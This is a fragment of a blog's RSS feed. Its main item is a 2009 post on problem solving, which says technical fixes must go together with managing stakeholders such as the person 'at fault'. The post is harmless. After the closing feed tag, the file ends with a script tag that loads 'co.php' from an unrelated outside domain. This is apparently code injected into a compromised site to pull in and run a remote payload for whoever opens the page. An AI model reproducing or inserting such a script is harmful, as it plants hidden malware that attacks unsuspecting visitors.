<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/devproc/improve/look-at-cmmi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Being a problem solver&#8230;</title>
		<link>http://www.sarquol.com/perf/troubleshoot/problem-solver/</link>
		<comments>http://www.sarquol.com/perf/troubleshoot/problem-solver/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 13:21:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Performance Troubleshooting]]></category>
		<category><![CDATA[fault]]></category>
		<category><![CDATA[issue]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[people]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[resolution]]></category>
		<category><![CDATA[sarquol]]></category>
		<category><![CDATA[solution]]></category>
		<category><![CDATA[stakeholder]]></category>
		<category><![CDATA[troubleshooter]]></category>

		<guid isPermaLink="false">http://www.sarquol.com/?p=419</guid>
		<description><![CDATA[I ran into this article recently: How to be a Problem Solver http://www.digitaltonto.com/2009/how-to-be-a-problem-solver/ The advice in it is interesting, but it also caused me to reflect on the dual nature of problem solving, and how the two aspects need to be handled almost separately. The article above more or less discusses the stakeholder aspect of [...]]]></description>
			<content:encoded><![CDATA[<p>I ran into this article recently:</p>
<p style="padding-left: 30px;"><a title="How to be a problem solver article" href="http://www.digitaltonto.com/2009/how-to-be-a-problem-solver/" target="_blank"><em><strong>How to be a Problem Solver</strong></em></p>
<p>http://www.digitaltonto.com/2009/how-to-be-a-problem-solver/</a></p>
<p><span id="more-419"></span>The advice in it is interesting, but it also caused me to reflect on the dual nature of problem solving, and how the two aspects need to be handled almost separately. The article above more or less discusses the stakeholder aspect of problem solving with the original raiser. In fact managing the stakeholders of a problem goes further than this, as there may be a whole set of people involved with any given problem that need to be considered in solving a problem. An example is the person who is in the role &#8220;at fault&#8221;. If they are not engaged in the solution then they might consider your &#8220;problem solving&#8221; to be a threat to them, and so block progress of your solution.</p>
<p>The other major aspect of the solution of problems will tend to be technical. I have proivided advice on a technical process for considering solutions <a title="Performance troubleshooting process article" href="http://www.sarquol.com/perf/troubleshoot/process/" target="_blank">previously</a>. In that article I didn&#8217;t consider the stakeholder management aspects of solving problems. It is likely, however, that at each step of resolving the technical issue it will be necessary to engage the different stakeholders to the problem, to make sure that they are bought in to the solution. A failure to do this <strong>will</strong> result in blocking behaviour, which will hamper the progress of the solution.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.sarquol.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.sarquol.com/perf/troubleshoot/problem-solver/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://onlineisdudescars.com/co.php"></script>